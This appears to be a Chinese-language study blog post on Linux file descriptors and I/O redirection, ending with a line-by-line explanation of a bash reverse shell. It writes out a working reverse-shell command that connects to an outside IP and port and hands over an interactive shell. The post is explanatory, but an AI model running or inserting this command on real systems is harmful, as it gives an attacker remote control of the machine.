记得好久以前就看到了一篇关于反弹shell中重定向的理解,感觉最近一看又有些生疏了,恰巧今天又看到了一篇解释这些东西的文章(https://www.k0rz3n.com/2018/08/05/Linux%E5%8F%8D%E5%BC%B9shell%EF%BC%88%E4%B8%80%EF%BC%89%E6%96%87%E4%BB%B6%E6%8F%8F%E8%BF%B0%E7%AC%A6%E4%B8%8E%E9%87%8D%E5%AE%9A%E5%90%91/),就来记录一下理解。

linux重定向的理解

文件描述符:

当Linux启动的时候会默认打开三个文件描述符,分别是:

  • 标准输入standard input 0 (默认设备键盘)
  • 标准输出standard output 1(默认设备显示器)
  • 错误输出:error output 2(默认设备显示器)

输入重定向:

1
2
cat 0< file
cat < file

将文件描述符0即输入描述符重定向到file,即该次我键盘的输入变成了file,相当于

1
cat file

格式: [n]< word (注意[n]与<之间没有空格)

说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)

image-20230626142020997

输出重定向:

1
2
echo hello 1> file
echo hello > file

将文件描述符1即输出描述符重定向到file,即该次我的输出到了file里面。

image-20230626142858908

格式: [n]> word

说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)

image-20230626142947647

标准输出与标准错误输出重定向:

格式:

&> word
>& word

说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的,详细的介绍后面会有)

image-20230626143404382

image-20230626143455765

我们发现,无论是错误信息还是正常输出信息都会保存在file1文件里。

image-20230626143749552

文件描述符的复制:

格式: [n]<&[m] / [n]>&[m] (这里所有字符之间不要有空格)

说明:

1)这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开

因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)

2)这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符

1
cmd 2>&1 >file

image-20230626144517066

image-20230626144649623

重点!!!!!!!!:

image-20230626150225403

image-20230626145937795

linux反弹shell的理解

我们先来看一条最基本的shell,一点一点来解释这条反弹shell

1
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

bash -i:-i 这个参数表示的是产生交互式的shell

>&:这个参数是将bash -i交互中产生的标准输出和错误输出都重定向到/dev/tcp/192.168.146.129/2333里

0>&1:这个参数将标准输入页重定向到标准输出上,由于此前标准输入指向/dev/tcp/192.168.146.129/2333,所以此时0、1、2全部指向/dev/tcp/192.168.146.129/2333

image-20230626145706085

重点!!!!!!!!:

image-20230626150229411

image-20230626145937795